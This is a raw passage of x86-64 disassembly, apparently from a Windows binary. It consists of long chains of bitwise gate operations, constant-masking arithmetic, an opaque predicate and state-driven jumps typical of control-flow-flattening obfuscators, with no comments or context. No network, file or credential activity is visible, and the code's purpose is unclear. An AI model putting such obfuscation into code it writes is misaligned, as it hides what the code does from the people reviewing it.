or dil, cl
mov ecx, edi
xor cl, 1
mov ebx, edx
or bl, cl
xor bl, 1
xor cl, dl
or bl, cl
mov r8d, ebx
xor r8b, 1
or dil, dl
and cl, dl
xor cl, 1
mov edx, edi
xor dl, cl
or cl, dil
xor cl, 1
or cl, dl
mov r13d, ecx
xor r13b, 1
and cl, bl
or bl, r13b
and r13b, r8b
or r13b, cl
xor r13b, 1
mov ecx, ebx
xor cl, r13b
or r13b, bl
xor r13b, 1
or r13b, cl
mov ebp, esi
or bpl, r11b
mov r8d, ebp
or r8b, sil
mov ebx, r11d
and bl, bpl
xor bpl, 1
mov ecx, ebp
and cl, sil
or cl, bl
mov edx, r8d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r8b
xor cl, 1
or cl, dl
mov r8d, ecx
xor r8b, 1
and r8b, cl
xor r8b, 1
mov edx, ecx
xor dl, r8b
or r8b, cl
xor r8b, 1
or r8b, dl
mov edi, r13d
xor dil, 1
mov r10d, edi
or r10b, r13b
xor r10b, 1
mov ecx, edi
and cl, r10b
xor r10b, dil
or r10b, cl
mov edx, r8d
xor dl, 1
mov byte [rsp + 0x24], dl
mov r9d, edx
and r9b, r8b
mov ecx, edx
and cl, r9b
xor r9b, dl
or r9b, cl
mov r12d, r9d
xor r12b, 1
xor sil, r11b
or sil, bpl
mov ecx, esi
xor cl, 1
mov ebp, r10d
xor bpl, 1
mov r14d, ebp
and r14b, r10b
xor r14b, 1
mov ebx, r10d
xor bl, r14b
or r14b, r10b
xor r14b, 1
or r14b, bl
mov r11d, r14d
xor r11b, 1
mov ebx, r11d
and bl, r14b
mov r15d, ebx
xor r15b, 1
xor bl, r14b
or r15b, r11b
xor r15b, 1
or r15b, bl
mov ebx, edi
and bl, r13b
xor dil, r13b
or dil, bl
mov ebx, edi
xor bl, 1
and dil, bl
mov r13d, ebx
and r13b, dil
xor dil, bl
or dil, r13b
mov ebx, esi
and bl, cl
xor bl, 1
mov r13d, ecx
xor r13b, bl
or bl, cl
xor bl, 1
or bl, r13b
xor bl, 1
or cl, sil
or r9b, r12b
mov esi, r12d
xor sil, r9b
or r9b, r12b
xor r9b, 1
or r9b, sil
mov edx, ebx
or dl, cl
xor cl, bl
xor cl, 1
mov esi, edx
xor sil, cl
or cl, dl
xor cl, 1
or cl, sil
mov esi, r15d
xor sil, 1
xor cl, r9b
mov edx, r12d
xor dl, bl
and bl, r12b
or bl, dl
xor dl, 1
mov r9d, edx
xor r9b, bl
or dl, bl
mov r12d, ecx
xor r12b, 1
xor dl, 1
or dl, r9b
mov r9d, ecx
and r9b, dl
xor dl, 1
and r12b, dl
or r12b, r9b
mov r9d, ecx
xor r9b, dl
or dl, cl
mov ebx, edi
xor bl, 1
xor dl, 1
or dl, r9b
xor dl, 1
mov ecx, r12d
and cl, dl
xor dl, r12b
or dl, cl
mov ecx, r15d
and cl, bl
and dil, r15b
xor r15b, bl
or r15b, cl
mov r9d, r15d
xor r9b, 1
and bl, sil
or bl, dil
mov ecx, ebx
xor cl, 1
and bl, r15b
or r15b, cl
xor r15b, 1
and cl, r9b
or cl, bl
mov ebx, r15d
and bl, cl
xor cl, r15b
or cl, bl
mov r9d, edx
xor r9b, 1
mov edi, edx
or dil, r9b
mov esi, edi
xor sil, 1
mov ebx, ecx
xor bl, 1
and cl, bl
mov r15d, ebx
and r15b, cl
xor cl, bl
or cl, r15b
mov ebx, esi
and bl, dil
mov r15d, ebx
and r15b, sil
xor bl, sil
or bl, r15b
mov r15d, ebx
and r15b, dl
xor bl, 1
and bl, r9b
or bl, r15b
xor dil, dl
or sil, r9b
xor sil, 1
or sil, dil
xor sil, 1
mov edx, ebx
and dl, sil
xor sil, bl
or sil, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
or dl, sil
xor sil, 1
xor dl, 1
or sil, cl
xor sil, 1
mov ecx, edx
and cl, sil
xor sil, dl
or sil, cl
movzx r9d, byte [rsp + 0x24]
mov edx, r9d
or dl, r8b
mov ecx, edx
xor cl, 1
or r11b, r14b
xor bpl, r10b
and bpl, r10b
mov ebx, r8d
and bl, dl
or dl, r9b
and cl, r9b
or cl, bl
mov ebx, edx
xor bl, cl
xor cl, 1
or cl, dl
mov edx, r11d
xor dl, 1
xor bl, 1
xor cl, 1
or cl, bl
mov ebx, ebp
xor bl, 1
and bl, dl
and r11b, bpl
or r11b, bl
mov ebx, edx
xor bl, bpl
or bpl, dl
xor bpl, 1
or bpl, bl
xor bpl, 1
mov edx, r11d
and dl, bpl
xor bpl, r11b
or bpl, dl
mov edx, ebp
xor dl, 1
and bpl, dl
xor bpl, 1
mov ebx, ebp
xor bl, dl
or bpl, dl
mov edx, ecx
xor dl, 1
xor bpl, 1
or bpl, bl
and dl, bpl
xor bpl, 1
and bpl, cl
or bpl, dl
xor r8b, r14b
xor r8b, 1
mov ecx, r9d
xor cl, r14b
or r14b, r9b
xor r14b, 1
or r14b, cl
xor r14b, 1
mov ecx, r8d
and cl, r14b
xor r14b, r8b
or r14b, cl
mov ecx, r14d
xor cl, 1
mov edx, ebp
xor dl, 1
and cl, dl
or dl, r14b
and r14b, bpl
or r14b, cl
xor r14b, 1
mov ecx, edx
xor cl, r14b
or r14b, dl
xor r14b, 1
or r14b, cl
mov r8d, r14d
xor r8b, 1
mov ebx, r14d
or bl, r8b
mov ecx, ebx
xor cl, 1
mov edx, r8d
and dl, r14b
and cl, bl
mov r9d, edx
and r9b, r8b
xor dl, r8b
or dl, r9b
xor cl, 1
mov r8d, ecx
xor r8b, bl
or cl, bl
xor cl, 1
or cl, r8b
xor cl, dl
mov edx, r14d
and dl, bl
xor bl, r14b
or bl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov r8d, edx
xor r8b, 1
mov ebx, r8d
and bl, dl
mov ecx, ebx
xor cl, 1
xor bl, dl
or cl, r8b
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, cl
xor bl, 1
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov r11d, ebx
xor r11b, 1
mov r8d, esi
xor r8b, 1
mov ecx, r8d
or cl, sil
mov r9d, ebx
xor r9b, r11b
or r11b, bl
and r9b, bl
mov r10d, esi
or r10b, bl
xor bl, sil
and sil, cl
xor cl, 1
mov edx, ecx
xor dl, r8b
and dl, cl
and cl, r8b
xor r11b, 1
or cl, sil
xor dl, 1
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
xor r9b, r11b
mov r8d, r9d
xor r8b, 1
and r11b, r8b
mov edx, r11d
xor r11b, r9b
xor dl, 1
or dl, r8b
xor dl, 1
or dl, r11b
mov r8d, edx
xor r8b, 1
and r8b, cl
xor cl, 1
and cl, dl
or cl, r8b
xor bl, 1
mov edx, r10d
xor dl, bl
or bl, r10b
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
and bl, dl
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
mov r8d, ecx
xor r8b, 1
and r8b, bl
xor bl, 1
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
or bl, r8b
mov r8d, ebx
xor r8b, dl
test bl, 1
mov ecx, 0xfb08f878
mov ebp, 0x732773cd
cmovne ecx, ebp
test dl, 1
mov edx, 0xfb08f878
cmove ecx, edx
mov dword [rsp + 0x54], eax
test r8b, 1
cmovne ecx, ebp
jmp 0x140053140
mov eax, dword [0x1400986ac]
lea r8d, [rax - 1]
imul r8d, eax
mov r9d, r8d
not r9d
mov eax, r9d
and eax, 0x50cc9899
mov edx, r8d
xor edx, 0x50cc9899
and edx, r8d
mov ebp, eax
and ebp, edx
xor edx, eax
or edx, ebp
mov eax, edx
not eax
and eax, 0x726f5244
and edx, 0x8d90adbb
or edx, eax
mov eax, edx
xor eax, 0x19403022
xor edx, 0x20a34a95
and edx, 0xe4bf4f95
and eax, 0x1b40b06a
or eax, edx
mov edx, eax
xor edx, 0x2402002
xor eax, 0xe4850b80
and eax, 0xfd859be8
and edx, 0x27a6417
or edx, eax
mov ebp, edx
xor ebp, 0x324002
xor edx, 0xfd859be8
mov eax, r9d
and eax, 0xa9846f3c
mov ebx, r8d
and ebx, 0x567b90c3
or ebx, eax
xor ebx, 0x567b90c3
mov eax, ebx
xor eax, r9d
and eax, ebx
mov ebx, eax
not ebx
mov edi, edx
or edi, ebx
not edi
and edx, 0x2fccbd7d
and ebp, 0xd0334282
or ebp, edx
and ebx, 0x2fccbd7d
and eax, 0xd0334282
or eax, ebx
xor eax, ebp
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xd5981b9c
and edx, eax
and eax, 0x2a67e463
or eax, ebp
mov ebp, eax
xor ebp, 0x201a423
xor eax, 0xd5981b9c
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x6d7e5254
and ebp, 0x9281adab
or ebp, edi
or eax, ebx
and ebx, 0x6d7e5254
and edx, 0x9281adab
or edx, ebx
xor edx, ebp
not eax
or eax, edx
mov edx, eax
mov ebp, eax
xor ebp, 0x16b070cb
and ebp, eax
not eax
and eax, 0x2203081
and edx, 0x1490404a
or edx, eax
mov eax, edx
xor eax, 0x4000048
xor edx, 0xeb6fbfb5
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0x1ab17026
and eax, 0x40000c9
or eax, edi
or edx, ebx
and ebx, 0x1ab17026
and ebp, 0xe54e8fd9
or ebp, ebx
xor ebp, eax
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x8209f4d4
and edx, 0x7df60b2b
or edx, eax
mov eax, edx
xor eax, 0xcde0508
xor edx, 0x43208023
and edx, 0xc320f2e3
and eax, 0x3cdf0d1c
or eax, edx
mov r10d, eax
xor r10d, 0x3cdf0d1c
xor eax, 0x40207041
and eax, 0x68a97159
mov edx, r10d
and edx, 0x97568ea6
or edx, eax
xor edx, 0x8f317d71
and r10d, 0xe7980c28
or r10d, edx
mov edx, r10d
not edx
mov esi, r8d
xor esi, 0x1867f3d7
and esi, r8d
mov eax, r8d
or eax, 0xe7980c28
mov ebp, esi
not ebp
mov ebx, eax
and ebx, 0x7cfe48f9
mov ecx, r9d
and ecx, 0x1b306
or ecx, ebx
or eax, ebp
and ebp, 0x7cfe48f9
and esi, 0x8301b706
or esi, ebp
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
and ecx, 0x2f53fdbc
and eax, 0xd0ac0243
or eax, ecx
xor eax, 0xd0ac0243
and r9d, 0xb283d591
and r8d, 0x4d7c2a6e
or r8d, r9d
xor r8d, 0x4d7c2a6e
mov ecx, eax
and ecx, r8d
xor r8d, eax
or r8d, ecx
mov eax, r8d
not eax
and eax, 0x4bef4411
and r8d, 0xb410bbee
or r8d, eax
mov eax, r8d
xor eax, 0xb410bbee
mov edi, r10d
and edi, 0x55ce382
mov ecx, edx
and ecx, 0xfaa31c7d
or ecx, edi
mov ebp, ecx
xor ebp, 0x98a31448
xor r8d, 0x9e70400
xor ecx, 0x55ce382
mov ebx, ecx
and ebx, 0x66184835
and ebp, 0x99e7b7ca
or ebp, ebx
mov ebx, eax
and ebx, 0x66184835
and r8d, 0x99e7b7ca
or r8d, ebx
xor r8d, ebp
or ecx, eax
not ecx
or ecx, r8d
mov ebp, ecx
not ebp
and ebp, 0x1e99bdbc
and ecx, 0xe1664243
or ecx, ebp
mov ebx, ecx
xor ebx, 0xe1664243
and r10d, 0x8bcc8752
mov ebp, edx
and ebp, 0x743378ad
or ebp, r10d
xor ebp, eax
xor ebp, 0x8bcc8752
and ebp, eax
xor eax, edx
and eax, edx
mov edx, ebp
not edx
mov edi, eax
not edi
mov esi, edx
and esi, 0x928902a
and ebp, 0xf6d76fd5
or ebp, esi
or edx, edi
and edi, 0x928902a
and eax, 0xf6d76fd5
or eax, edi
xor eax, ebp
not edx
or edx, eax
xor ecx, 0x1e99bdbc
and ecx, edx
mov eax, edx
not eax
mov edx, ebx
xor edx, eax
and edx, ebx
and eax, ebx
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ebp, eax
not ebp
mov edx, eax
and edx, 0xd1d0469c
mov ecx, ebp
and ecx, 0xe7980c28
and eax, 0x1867f3d7
or eax, ecx
not eax
or eax, ebp
and ebp, 0x2e2fb963
or ebp, edx
mov edx, ebp
xor edx, 0xd0804680
xor ebp, 0x2e268003
and ebp, 0x2f76801f
and edx, 0xd0897fe0
or edx, ebp
mov ecx, edx
xor ecx, 0x100173c0
and ecx, 0x1867f3d7
xor edx, 0xc8ee8c37
or edx, ecx
mov ebp, edx
not ebp
mov esi, eax
not esi
mov ebx, edx
or ebx, eax
not ebx
and edx, 0x1cec66aa
and ebp, 0xe3139955
or ebp, edx
and eax, 0x1cec66aa
and esi, 0xe3139955
or esi, eax
xor esi, ebp
mov eax, ebx
and eax, esi
xor esi, ebx
or esi, eax
mov eax, esi
not eax
mov edx, esi
or edx, 0xfffffffe
mov ecx, esi
xor ecx, 1
and ecx, esi
mov ebp, ecx
not ebp
mov ebx, edx
and ebx, 0xd72af241
or edx, ebp
and ebp, 0xd72af241
and ecx, 0x28d50dbe
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, eax
and ecx, 0xf3bcd078
mov edi, esi
and edi, 0xc432f87
or edi, ecx
mov ebp, edi
xor ebp, 0x32b84
mov r9d, edx
not r9d
mov ecx, r9d
and ecx, 0x3d589443
and edx, 0xc2a76bbc
or edx, ecx
xor edi, 0x31189040
and edi, 0x3d589443
and ebp, 0xc2a76bbc
or ebp, edi
xor ebp, edx
xor r9d, ebp
and r9d, ebp
mov ecx, eax
and ecx, 0x110488
mov edx, esi
and edx, 0x19881902
or edx, ecx
xor edx, 0x19881902
mov ecx, esi
and ecx, 0xe666e275
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe666e275
and ecx, 0x19991d8a
or ecx, edx
mov edi, ecx
not edi
and ecx, 0xcf355923
mov edx, edi
and edx, 0x30caa6dc
or edx, ecx
xor edx, 0xcf355922
and edi, 1
or edi, edx
mov ecx, edi
not ecx
and ecx, 0x2f2ac919
and edi, 0xd0d536e6
or edi, ecx
mov ecx, edi
xor ecx, 0xd0d536e6
xor edi, 0x2f2ac919
and esi, 0x65c20633
mov edx, eax
and edx, 0x9a3df9cc
or edx, esi
xor edx, 0x9a3df9cd
and eax, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and edx, edi
or edi, eax
mov ebp, edi
not ebp
and eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, edi
and edx, 0x6bea6a17
and ebp, 0x941595e8
or ebp, edx
or edi, ecx
and ecx, 0x6bea6a17
and eax, 0x941595e8
or eax, ecx
xor eax, ebp
not edi
or edi, eax
mov ebx, r9d
not ebx
mov eax, r9d
and eax, 0x3ca1d433
mov r8d, ebx
and r8d, 0xc35e2bcc
or r8d, eax
mov r12d, r8d
xor r12d, 0x3ca1d433
mov r15d, edi
not r15d
mov r10d, r15d
and r10d, edi
mov eax, r15d
and eax, r10d
xor r10d, r15d
or r10d, eax
xor r8d, 0xc35e2bcc
mov ecx, r8d
and ecx, 0xb2c14788
mov eax, r12d
and eax, 0x4d3eb877
or eax, ecx
not eax
or eax, r8d
mov r14d, eax
not r14d
and r9d, 0x96c6d5f7
mov ecx, ebx
and ecx, 0x69392a08
or ecx, r9d
xor ecx, 0xdbf86d80
and ebx, 0x4d3eb877
or ebx, ecx
mov esi, ebx
not esi
mov r9d, r10d
not r9d
mov edx, r9d
and edx, 0x7a355cb2
mov ecx, r10d
and ecx, 0x85caa34d
or ecx, edx
xor ecx, 0x370be4c5
or ecx, r9d
mov r11d, ecx
not r11d
and r15d, 0x4d3eb877
xor edi, 0xb2c14788
or edi, r15d
mov edx, edi
not edx
and edx, 0x1da7ba05
and edi, 0xe25845fa
or edi, edx
mov edx, eax
and eax, 0xe35545bf
and r14d, 0x1caaba40
or r14d, eax
mov r15d, edi
xor r15d, 0xa048415a
or edx, ebx
not edx
and ebx, 0xe35545bf
and esi, 0x1caaba40
or esi, ebx
xor esi, r14d
mov ebx, edx
and ebx, esi
xor esi, edx
or esi, ebx
mov edx, ecx
and edx, 0xa4aeb049
xor ecx, 0x4b3194a4
and ecx, r11d
and r11d, 0x5b514fb6
or r11d, edx
xor r11d, 0x5b514fb6
xor edi, 0x1da7ba05
mov ebx, edi
mov r14d, r11d
and r14d, edi
xor edi, r11d
and r11d, 0xb4ce6b5b
or r15d, 0x4b3194a4
mov eax, r11d
and eax, ecx
xor ecx, r11d
mov edx, r15d
not edx
or ebx, 0xb4ce6b5b
or ecx, eax
mov eax, ebx
not eax
and r15d, 0x3e2e5379
and edx, 0x80c02802
or edx, r15d
and ebx, 0x3e2e5379
and eax, 0x41118484
or eax, ebx
xor eax, edx
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
or eax, edx
or edi, r14d
not edi
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov eax, esi
not eax
and eax, 0x4e06edbc
and esi, 0xb1f91243
or esi, eax
mov eax, edi
not eax
or edi, 0xb1f91243
mov ecx, edi
not ecx
or eax, 0x4e06edbc
mov r14d, eax
not r14d
and edi, 0x2a95fca4
and ecx, 0x44020118
or ecx, edi
and eax, 0x2a95fca4
and r14d, 0x91680243
or r14d, eax
xor r14d, ecx
mov eax, esi
not eax
and eax, 0x7dacd1af
and esi, 0x82532e50
or esi, eax
mov eax, r14d
not eax
and eax, 0x7dacd1af
and r14d, 0x82532e50
or r14d, eax
xor r14d, esi
mov eax, r8d
and eax, 0x39b7fc7f
and r12d, 0xc6480380
or r12d, eax
mov r11d, r12d
xor r11d, 0xc6480380
mov eax, r9d
and eax, 0x1a24c38d
and r10d, 0xe5db3c72
or r10d, eax
mov edx, r10d
xor edx, 0xe5db3c72
mov ebx, r12d
xor ebx, 0x5db7443f
and ebx, r11d
or r8d, 0x6400b840
mov edi, r8d
not edi
mov esi, r10d
xor esi, 0x7e247bcd
and esi, edx
or r9d, 0x6400b840
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xe8ef7206
and ebx, 0x17108df9
or ebx, ecx
mov ecx, r9d
not ecx
or eax, r8d
and r8d, 0xe8ef7206
and edi, 0x131005b9
or edi, r8d
xor edi, ebx
not eax
or eax, edi
mov ebx, esi
not ebx
mov edi, ebx
and edi, 0x6e8811b4
and esi, 0x9177ee4b
or esi, edi
or ebx, r9d
and r9d, 0x6e8811b4
and ecx, 0x9177460b
or ecx, r9d
xor ecx, esi
not ebx
or ebx, ecx
mov ecx, eax
not ecx
and ecx, 0x62d4bdfc
and eax, 0x9d2b4203
or eax, ecx
mov ecx, ebx
not ecx
and ecx, 0x62d4bdfc
and ebx, 0x9d2b4203
or ebx, ecx
xor ebx, eax
xor r12d, 0x39b7fc7f
xor r10d, 0x1a24c38d
mov eax, r12d
and eax, 0xef31dff1
and r11d, 0x10ce200e
or r11d, eax
or r12d, r10d
and r10d, 0xef31dff1
and edx, 0x10ce200e
or edx, r10d
xor edx, r11d
not r12d
or r12d, edx
mov eax, r12d
not eax
and eax, 0x48debba5
and r12d, 0xb721445a
or r12d, eax
xor r12d, 0xb721445a
mov eax, ebx
and eax, r12d
xor r12d, ebx
or r12d, eax
mov eax, r12d
not eax
mov ecx, eax
and ecx, r12d
mov edx, ecx
not edx
mov ebp, r12d
and ebp, 0xb465fc13
and eax, 0x4b9a03ec
or eax, ebp
or r12d, edx
and edx, 0xb465fc13
and ecx, 0x4b9a03ec
or ecx, edx
xor ecx, eax
not r12d
or r12d, ecx
mov eax, r12d
not eax
mov ecx, eax
and ecx, 0xd7ff0ed1
and r12d, 0x2800f12e
or r12d, ecx
xor r12d, 0x2800f12e
or r12d, eax
mov eax, r12d
not eax
mov edx, r14d
xor edx, r12d
and edx, r14d
mov ecx, r14d
not ecx
and ecx, 0x7b26e975
and r14d, 0x84d9168a
or r14d, ecx
and r12d, 0x7b26e975
and eax, 0x84d9168a
or eax, r12d
xor eax, r14d
mov ecx, edx
not ecx
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0x28d6d24
and edx, 0xfd7292db
or edx, ebx
or ecx, ebp
and ebp, 0x28d6d24
and eax, 0xfd7292db
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x196acdeb
mov eax, ecx
and eax, 0xe6953214
or eax, edx
mov edx, eax
not edx
and edx, 0x9845d0d4
and eax, 0x67ba2f2b
or eax, edx
mov edx, eax
xor edx, 0x72004200
xor eax, 0x802a1118
and edx, 0x73054e27
and eax, 0x8cfab1d8
or eax, edx
mov esi, eax
xor esi, 0x8cfab1d8
mov edx, ebp
or edx, ecx
mov edi, edx
not edi
and edi, 0xca9a01d4
and edx, 0x3565fe2b
or edx, edi
mov edi, edx
xor edi, 0x3565fe2b
xor edx, 0xca9a01d4
mov ebx, esi
xor ebx, edx
and ebx, esi
xor eax, 0x73054e27
and eax, edi
and edx, esi
or edx, eax
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
and eax, 0x63a29bb8
and edx, 0x9c5d6447
or edx, eax
mov ebx, edx
xor ebx, 0x8c596042
xor edx, 0x43221028
and edx, 0x5326142d
and ebx, 0xacd9ebd2
or ebx, edx
mov eax, ebx
xor eax, 0x5326142d
xor ebx, 0x80000000
and ebx, 0x80200428
mov edx, eax
and edx, 0x2b005346
or edx, ebx
xor edx, 0x2b005346
and eax, 0x54dfa891
or eax, edx
mov edx, eax
not edx
and edx, 0x25e6c114
and eax, 0xda193eeb
or eax, edx
mov r10d, eax
xor r10d, 0x11212800
xor eax, 0x8cc2065a
and eax, 0xecda47df
and r10d, 0x1325b820
or r10d, eax
mov r14d, r10d
xor r14d, 0x1325b820
xor r10d, 0xecda47df
mov eax, ebp
and eax, ecx
mov edx, eax
not edx
mov ebx, ecx
and ebx, 0x55418068
and ebp, 0xaabe7f97
or ebp, ebx
or ecx, edx
and edx, 0x55418068
and eax, 0xaabe7f97
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x6c1b4f15
mov r15d, ecx
and r15d, 0x93e4b0ea
or r15d, eax
mov eax, r15d
xor eax, 0x93e4b0ea
mov edx, r15d
xor edx, 0x63d08ad
and edx, eax
and ecx, 0x95d9b847
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x8669553d
and ecx, 0x7996aac2
or ecx, eax
xor ecx, 0x13b0ed7a
xor r15d, 0x6c1b4f15
mov eax, ecx
and eax, r15d
xor r15d, ecx
or r15d, eax
mov eax, r15d
not eax
mov ecx, r15d
and ecx, 0x1628bda9
and eax, 0xe9d74256
or eax, ecx
xor eax, 0x1628bda9
xor r15d, eax
and r15d, eax
mov eax, r14d
and eax, 0xbe56ffbb
mov esi, r10d
and esi, 0x41a90044
or esi, eax
mov eax, esi
xor eax, 0x40290044
xor esi, 0xbe56ffbb
mov edx, r14d
and edx, r10d
mov ebp, edx
not ebp
mov ecx, esi
and ecx, 0xbfd49f92
and eax, 0x402b606d
or eax, ecx
or esi, ebp
and ebp, 0xbfd49f92
and edx, 0x402b606d
or edx, ebp
xor edx, eax
not esi
or esi, edx
mov edi, r15d
not edi
mov eax, edi
and eax, 0xe82d8d2d
mov r12d, r15d
and r12d, 0x17d272d2
or r12d, eax
mov eax, r12d
xor eax, 0x920240
xor r12d, 0xe82d8d2d
mov ecx, edi
and ecx, r15d
mov ebp, ecx
not ebp
mov ebx, r12d
and ebx, 0xb74cf89b
and eax, 0x48b30764
or eax, ebx
or r12d, ebp
and ebp, 0xb74cf89b
and ecx, 0x48b30764
or ecx, ebp
xor ecx, eax
not r12d
or r12d, ecx
mov r8d, esi
mov r11d, r12d
not r11d
mov r9d, r11d
mov r13d, esi
xor r13d, r11d
and r13d, esi
and r11d, esi
not esi
mov eax, esi
and eax, 0x24d9d30e
xor r8d, 0xdb262cf1
or r8d, eax
and r10d, 0xf546df09
mov eax, r14d
and eax, 0xab920f6
or eax, r10d
xor eax, 0x2e60f3f8
and r14d, 0xdb262cf1
or r14d, eax
mov r10d, r14d
not r10d
and r10d, r8d
not r8d
and r9d, 0xcf5bf4a8
and esi, r12d
and r12d, 0x30a40b57
or r12d, r9d
mov eax, r12d
xor eax, 0x30a40b57
xor r12d, 0x152a080
and r12d, 0x31d2a890
mov ebp, eax
and ebp, 0xce2d576f
or ebp, r12d
xor ebp, 0x150b7b9e
and eax, 0x24d9d30e
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0x787e49c
and eax, 0xf8781b63
or eax, ebp
mov ebx, eax
xor ebx, 0xf8781b63
mov r12d, eax
xor r12d, 0x787e49c
and r15d, 0xf5014c14
mov edx, edi
and edx, 0xafeb3eb
or edx, r15d
xor edx, 0x2e2760e5
and edi, 0xdb262cf1
or edi, edx
mov edx, edi
not edx
and edx, 0x46a4745b
and edi, 0xb95b8ba4
or edi, edx
mov r9d, edi
xor r9d, 0xb95b8ba4
mov ecx, r8d
xor ecx, r14d
and ecx, r8d
and r14d, r8d
or r14d, r10d
mov r10d, ecx
not r10d
mov ebp, r10d
and ebp, 0xc125656d
and ecx, 0x3eda9a92
or ecx, ebp
mov ebp, r14d
not ebp
or r10d, ebp
and ebp, 0xc125656d
and r14d, 0x3eda9a92
or r14d, ebp
mov ebp, edi
xor ebp, 0x46243019
xor r14d, ecx
not r10d
or r10d, r14d
and ebp, 0xfe2f33b9
xor edi, 0x1f9cf6b1
and edi, r9d
and r9d, 0x1d0cc46
or r9d, ebp
xor eax, 0x5ebf6676
mov ebp, eax
and ebp, r12d
and eax, ebx
mov ecx, ebp
not ecx
mov r8d, ecx
and r8d, 0xe8b1560
and ebp, 0xf174ea9f
or ebp, r8d
mov edx, eax
not edx
or ecx, edx
and edx, 0xe8b1560
and eax, 0xf174ea9f
or eax, edx
mov edx, r9d
xor edx, 0x1d0cc46
xor eax, ebp
mov ebp, edx
and ebp, 0xa6c77d15
not ecx
or ecx, eax
mov eax, ebp
and eax, edi
xor edi, ebp
or edi, eax
mov eax, ecx
not eax
and eax, edi
not edi
and edi, ecx
or edi, eax
mov eax, ebx
and eax, 0x9a358888
and r12d, 0x65ca7777
or r12d, eax
xor r9d, 0xfe2f33b9
or ebx, r9d
and r9d, 0x9a358888
and edx, 0x65ca7777
or edx, r9d
mov r8d, dword [0x1400986a8]
xor edx, r12d
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0xab0f8da3
and ebx, 0x54f0725c
or ebx, eax
xor ebx, 0x54f0725c
mov eax, edi
and eax, ebx
xor ebx, edi
or ebx, eax
mov eax, r10d
not eax
and eax, 0xe2f96109
mov ecx, r10d
and ecx, 0x1d069ef6
or ecx, eax
xor ecx, ebx
xor ecx, 0xe2f96109
and ecx, ebx
xor ebx, r10d
and ebx, r10d
mov eax, ecx
not eax
mov edx, ebx
not edx
mov ebp, eax
and ebp, 0xf48e7f80
and ecx, 0xb71807f
or ecx, ebp
or eax, edx
and edx, 0xf48e7f80
and ebx, 0xb71807f
or ebx, edx
xor ebx, ecx
not eax
or eax, ebx
or r11d, esi
mov ecx, r13d
not ecx
mov edx, r11d
not edx
mov ebp, ecx
and ebp, 0xe8f9a55f
and r13d, 0x17065aa0
or r13d, ebp
or ecx, edx
and edx, 0xe8f9a55f
and r11d, 0x17065aa0
or r11d, edx
xor r11d, r13d
not ecx
or ecx, r11d
mov edx, ecx
not edx
mov ebx, edx
or ebx, 0xd277d6d8
mov ebp, ebx
not ebp
or ecx, 0x28882103
and ecx, 0x7a98f343
and edx, 0x80670498
or edx, ecx
and ebx, 0x7a98f343
and ebp, 0x5000824
or ebp, ebx
xor ebp, edx
mov ecx, ebp
not ecx
and ecx, 0x2d882927
and ebp, 0xd277d6d8
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x8fdad064
and ebp, 0x70252f9b
or ebp, ecx
mov edx, ebp
xor edx, 0x3024089b
xor ebp, 0x8a888044
and ebp, 0xca89a744
and edx, 0x357658bb
or edx, ebp
mov ecx, edx
xor ecx, 0xa89a304
xor edx, 0x357658bb
mov r9d, eax
not r9d
and ecx, 0xeffabb4
mov ebx, edx
and ebx, 0xf100544b
or ebx, ecx
mov r10d, ebx
xor r10d, 0xf100544b
mov edi, eax
or edi, 0x1c514369
mov esi, edi
not esi
mov ebp, r9d
or ebp, 0xe3aebc96
and edi, 0x3db747ac
and esi, 0xc208b812
or esi, edi
mov ecx, ebp
not ecx
and ebp, 0x3db747ac
and ecx, 0x400041
or ecx, ebp
mov ebp, ebx
xor ebp, 0xed511722
and ebp, r10d
and edx, 0x1c514369
xor ecx, esi
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, ecx
not ebp
and ebp, edx
not edx
and edx, ecx
or edx, ebp
xor ebx, 0xeffabb4
mov ecx, eax
and ecx, 0x151320aa
and r9d, 0xeaecdf55
or r9d, ecx
or eax, ebx
and ebx, 0x151320aa
and r10d, 0xeaecdf55
or r10d, ebx
xor r10d, r9d
not eax
or eax, r10d
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov esi, eax
not esi
mov edx, esi
and edx, 0xd13ab821
mov ecx, eax
and ecx, 0x2ec547de
or ecx, edx
mov edx, ecx
xor edx, 0x2a044342
xor ecx, 0xd13ab821
mov edi, esi
and edi, eax
mov ebp, edi
